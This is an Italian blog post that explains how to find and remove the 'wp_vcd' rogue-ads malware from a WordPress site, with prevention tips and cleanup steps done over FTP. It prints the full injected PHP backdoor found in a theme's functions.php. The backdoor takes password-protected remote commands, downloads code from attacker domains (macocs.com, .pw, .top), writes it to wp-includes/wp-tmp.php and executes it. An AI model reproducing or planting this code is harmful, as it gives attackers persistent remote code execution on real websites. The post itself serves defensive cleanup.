Wordpress Malware

Wordpress Malware

"rogueads.unwanted_ads" su WP come rimuoverlo

La mia esperienza mi ha portato a scrivere questo post, per aiutarvi nella prevenzione ed eliminazione di fiale malevoli Malware che potrebbero compromettere il vostro WordPress, sia nel sistema che nel Posizionamento su Google e altri motori di ricerca.

Oggi ne andremo ad analizzare uno in particolare, molto comune in Wordpress “rogueads.unwanted_ads”

Descrizione: Iniezioni malevoli di Varios che comportano la visualizzazione di annunci (o l'apertura di finestre pop-up o pop-under) senza il consenso del proprietario del sito. Tali iniezioni possono utilizzare script di reti pubblicitarie legittime.

Malware

 

Molto facile a individuare appunto della sua presenza, visto che si apriranno pop up o link insueti al sito.
Molto importante e definire il flusso del contagio… in parole povere come ho preso il Malware?
Potrebbero essere molteplici le strade male più comuni sono:

1 Non importare plugin non legalmente acquistati
2 Non importare Template non legalmente acquistati
3 Aggiornare sempre il propio WP e i plugin associati
4 L’imitare l’uso dei plugin (onde evitare che se scritti male potrebbero essere facilmente compromessi)
5 Server sicuro quindi spendere il giusto non certo 1 euro

Ma adiamo al nocciolo del discorso, una volta che siamo in gioco cominceremo a verificare la vera identità tramite uno scanner online molto utile io uso questo: sitecheck.sucuri.net
Una volta individuato il problema… No Panico!


Spesso il Core del Malware va a intaccare il nostro file function.php del tema che stiamo utilizzando.
Ighettando uno script simile:

<?php
if ( isset( $_REQUEST[ 'action' ] ) && isset( $_REQUEST[ 'password' ] ) && ( $_REQUEST[ 'password' ] == '741b457737ff0478b6e1ccef383efcc9' ) ) {
$div_code_name = "wp_vcd";
switch ( $_REQUEST[ 'action' ] ) {
case 'change_domain';
if ( isset( $_REQUEST[ 'newdomain' ] ) ) {
if ( !empty( $_REQUEST[ 'newdomain' ] ) ) {
if ( $file = @file_get_contents( __FILE__ ) ) {
if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain ) ) {
$file = preg_replace( '/' . $matcholddomain[ 1 ][ 0 ] . '/i', $_REQUEST[ 'newdomain' ], $file );
@file_put_contents( __FILE__, $file );
print "true";
}
}
}
}
break;
case 'change_code';
if ( isset( $_REQUEST[ 'newcode' ] ) ) {

if ( !empty( $_REQUEST[ 'newcode' ] ) ) {
if ( $file = @file_get_contents( __FILE__ ) ) {
if ( preg_match_all( '/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode ) ) {

$file = str_replace( $matcholdcode[ 1 ][ 0 ], stripslashes( $_REQUEST[ 'newcode' ] ), $file );
@file_put_contents( __FILE__, $file );
print "true";
}


}
}
}
break;

default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}

die( "" );
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if ( !function_exists( 'theme_temp_setup' ) ) {
$path = $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ REQUEST_URI ];
if ( stripos( $_SERVER[ 'REQUEST_URI' ], 'wp-cron.php' ) == false && stripos( $_SERVER[ 'REQUEST_URI' ], 'xmlrpc.php' ) == false ) {

function file_get_contents_tcurl( $url ) {
$ch = curl_init();
curl_setopt( $ch, CURLOPT_AUTOREFERER, TRUE );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, TRUE );
$data = curl_exec( $ch );
curl_close( $ch );
return $data;
}

function theme_temp_setup( $phpCode ) {
$tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" );
$handle = fopen( $tmpfname, "w+" );
if ( fwrite( $handle, "<?php\n" . $phpCode ) ) {} else {
$tmpfname = tempnam( './', "theme_temp_setup" );
$handle = fopen( $tmpfname, "w+" );
fwrite( $handle, "<?php\n" . $phpCode );
}
fclose( $handle );
include $tmpfname;
unlink( $tmpfname );
return get_defined_vars();
}


$wp_auth_key = 'bb9aed696b080d6d327d927fc0b733d8';
if ( ( $tmpcontent = @file_get_contents( "http://www.macocs.com/code.php" )OR $tmpcontent = @file_get_contents_tcurl( "http://www.macocs.com/code.php" ) )AND stripos( $tmpcontent, $wp_auth_key ) !== false ) {

if ( stripos( $tmpcontent, $wp_auth_key ) !== false ) {
extract( theme_temp_setup( $tmpcontent ) );
@file_put_contents( ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent );

if ( !file_exists( ABSPATH . 'wp-includes/wp-tmp.php' ) ) {
@file_put_contents( get_template_directory() . '/wp-tmp.php', $tmpcontent );
if ( !file_exists( get_template_directory() . '/wp-tmp.php' ) ) {
@file_put_contents( 'wp-tmp.php', $tmpcontent );
}
}

}
} elseif ( $tmpcontent = @file_get_contents( "http://www.macocs.pw/code.php" )AND stripos( $tmpcontent, $wp_auth_key ) !== false ) {

if ( stripos( $tmpcontent, $wp_auth_key ) !== false ) {
extract( theme_temp_setup( $tmpcontent ) );
@file_put_contents( ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent );

if ( !file_exists( ABSPATH . 'wp-includes/wp-tmp.php' ) ) {
@file_put_contents( get_template_directory() . '/wp-tmp.php', $tmpcontent );
if ( !file_exists( get_template_directory() . '/wp-tmp.php' ) ) {
@file_put_contents( 'wp-tmp.php', $tmpcontent );
}
}

}
}

elseif ( $tmpcontent = @file_get_contents( "http://www.macocs.top/code.php" )AND stripos( $tmpcontent, $wp_auth_key ) !== false ) {

if ( stripos( $tmpcontent, $wp_auth_key ) !== false ) {
extract( theme_temp_setup( $tmpcontent ) );
@file_put_contents( ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent );

if ( !file_exists( ABSPATH . 'wp-includes/wp-tmp.php' ) ) {
@file_put_contents( get_template_directory() . '/wp-tmp.php', $tmpcontent );
if ( !file_exists( get_template_directory() . '/wp-tmp.php' ) ) {
@file_put_contents( 'wp-tmp.php', $tmpcontent );
}
}

}
}
elseif ( $tmpcontent = @file_get_contents( ABSPATH . 'wp-includes/wp-tmp.php' )AND stripos( $tmpcontent, $wp_auth_key ) !== false ) {
extract( theme_temp_setup( $tmpcontent ) );

} elseif ( $tmpcontent = @file_get_contents( get_template_directory() . '/wp-tmp.php' )AND stripos( $tmpcontent, $wp_auth_key ) !== false ) {
extract( theme_temp_setup( $tmpcontent ) );

} elseif ( $tmpcontent = @file_get_contents( 'wp-tmp.php' )AND stripos( $tmpcontent, $wp_auth_key ) !== false ) {
extract( theme_temp_setup( $tmpcontent ) );

}





}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>

Se lo script è simile... possiamo procedere...

Come possiamo notare spesso andranno a richiamare altri file generati all’interno del core.
Leggendo il codice possiamo individuare il percorso del file da eliminare.

Spesso si trovano all’interno del core di WP nella cartella wp-includes/

Nel mio caso lo script in questione $div_code_name="wp_vcd"; all’interno del mio file function richimva un altro file all’interno della cartella wp-includes/wp-tmp.php

Quindi cosa fare?

Via FTP andremo nella cartella del mio tema,
e tolgieremo lo script malevolo all’interno del file function.php per poi eliminare il file wp-includes/wp-tmp.php.
Questa volta è stato facile, ma non si deve mai Abbassare la guardia!

Risorse:
sitecheck.sucuri.net
mxtoolbox.com

Sectigo EV SSL
CSS winner Andres Hunger
CSSRELL Andres Hunger
BESTcss Andres Hunger